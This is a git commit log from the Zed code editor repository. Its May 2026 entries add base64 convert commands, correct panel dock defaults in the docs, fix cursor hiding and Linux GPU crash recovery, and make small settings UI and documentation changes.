Chris KievitandChristopher Biscardi 8d22381695 editor: Add base64 encode/decode commands (#55361)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Adds `editor: convert to base64` and `editor: convert from base64` to
the command palette. Both commands operate on the current selection, or
the word under the cursor when nothing is selected. The decode command
silently no-ops on invalid base64 input or non-UTF-8 decoded bytes,
consistent with how other convert commands handle untransformable input.

Release Notes:

- Added `editor: convert to base64` and `editor: convert from base64`
commands to the command palette

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
2026-05-05 04:36:18 +00:00
js 62507a1930 Update panel dock default values in settings docs (#55719)
The [Parallel Agents release](https://zed.dev/blog/parallel-agents)
introduced a new default layout: the agent panel now docks on the left,
while the project, git, outline, and collaboration panels now dock on
the right. The rustdoc comments in `crates/settings_content` were not
updated to reflect this change.

This PR corrects the `Default:` values in the following structs:

- `ProjectPanelSettingsContent.dock`: `left` → `right`
- `GitPanelSettingsContent.dock`: `left` → `right`
- `PanelSettingsContent.dock` (collaboration panel): `left` → `right`
- `OutlinePanelSettingsContent.dock`: `left` → `right`
- `AgentSettingsContent.dock`: `right` → `left`

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-05-05 03:59:02 +00:00
Conrad Irwin 602cf8f6c7 Add Move to Applications (#54719)
Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- Added a prompt to move Zed to /Applications on macOS when run from
within the .dmg
2026-05-05 03:48:55 +00:00
Xiaobo Liu 8d153d7feb project: Load git diff bases concurrently (#55480)
Use `future::join` when loading index and committed text for buffer diff
bases, while keeping skipped loads as ready None futures.

Release Notes:

- N/A

Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
2026-05-05 03:06:37 +00:00
najeira c958a12bcc settings_ui: Toggle root navbar entries on double-click (#55526)
Settings navbar root entries can now be expanded or collapsed by
double-clicking the row itself.

Single-click navigation is preserved, so clicking a root entry still
opens the selected Settings page. The double-click handler only toggles
on `click_count() == 2`, so triple-clicking the row does not toggle it
again.

The double-click path reuses the same toggle-and-focus behavior as the
disclosure chevron.

Testing:

- `cargo fmt --check --package settings_ui`
- `cargo check -p settings_ui`
- `cargo test -p settings_ui`
- Manually verified that:
- single-clicking a Settings navbar root entry still opens the selected
Settings page
  - double-clicking a Settings navbar root entry expands or collapses it
  - triple-clicking the row does not toggle the entry again
  - clicking the disclosure chevron still expands or collapses the entry

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Improved Settings navigation by allowing root navbar entries to expand
or collapse on double-click.
2026-05-05 02:48:49 +00:00
Conrad Irwin 008d54299b Try to reduce linux wGPU crashes better (#55343)
Updates #54349

There were two problems:
* The crash never happened, instead we'd always retry.
* When re-trying it seemed like we were picking llvmpipe. Claude's
suggestion was that immediately after wake, the real GPU isn't yet
awake, and so we pick llvm. Avoid this by disallowing llvmpipe on retry

Release Notes:

- linux: Reduced crash rate when recovering GPUs
2026-05-05 02:24:23 +00:00
Agus Zubiaga a03729b6c0 Handle hiding cursor on keyboard input at GPUI level (#55664)
Instead of manually handing hiding the cursor on keyboard input at the
editor level, GPUI will now take care of it.

This makes it significantly easier to handle the edge cases, and allows
delegating the cursor restoration to the platform itself in the macOS
case. On Linux and Windows, we still have to restore the cursor on
movement ourselves, but this now happens at the platform-specific level.

Bugs fixed by this change:
- No cursor when "Unsaved edits" prompt appears
- Cursor disappears when clicking a panel button if it contains a search
bar (e.g. collab panel)

### Setting rename

The `hide_mouse` setting value `"on_typing_and_movement"` has been
renamed to `"on_typing_and_action"` to better reflect what it actually
does — it hides the cursor when a keystroke resolves to an action (e.g.
cursor movement, deletion). Existing settings are migrated
automatically.

### Tested platforms
- [x] macOS
- [x] Wayland
- [x] X11
- [x] Windows
- [x] Web

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Renamed the `hide_mouse` setting value `on_typing_and_movement` to
`on_typing_and_action` to better describe its behavior (existing
settings are auto-migrated)
- Fixed a few situations where the mouse cursor would be incorrectly
hidden
2026-05-04 22:51:56 +00:00
George Waters f6d4d34d20 Add show line endings button to Settings UI (#55707)
This is following up from #39609 to add the line endings button setting
into settings ui.

Release Notes:

- Added the line endings button setting to settings ui.
2026-05-04 22:24:24 +00:00
Dzming Li 3e046b4d29 docs: Add Standard ML to community language extensions list (#55695)
Adds the Standard ML community extension
([omarjatoi/zed-sml](https://github.com/omarjatoi/zed-sml)) to
`docs/src/languages.md`. It is already published in the Zed extension
registry ([zed.dev/extensions/sml](https://zed.dev/extensions/sml)) and
provides Tree-sitter highlighting plus Millet LSP integration, but is
currently missing from the language documentation page.

Release Notes:

- N/A
2026-05-04 22:07:14 +00:00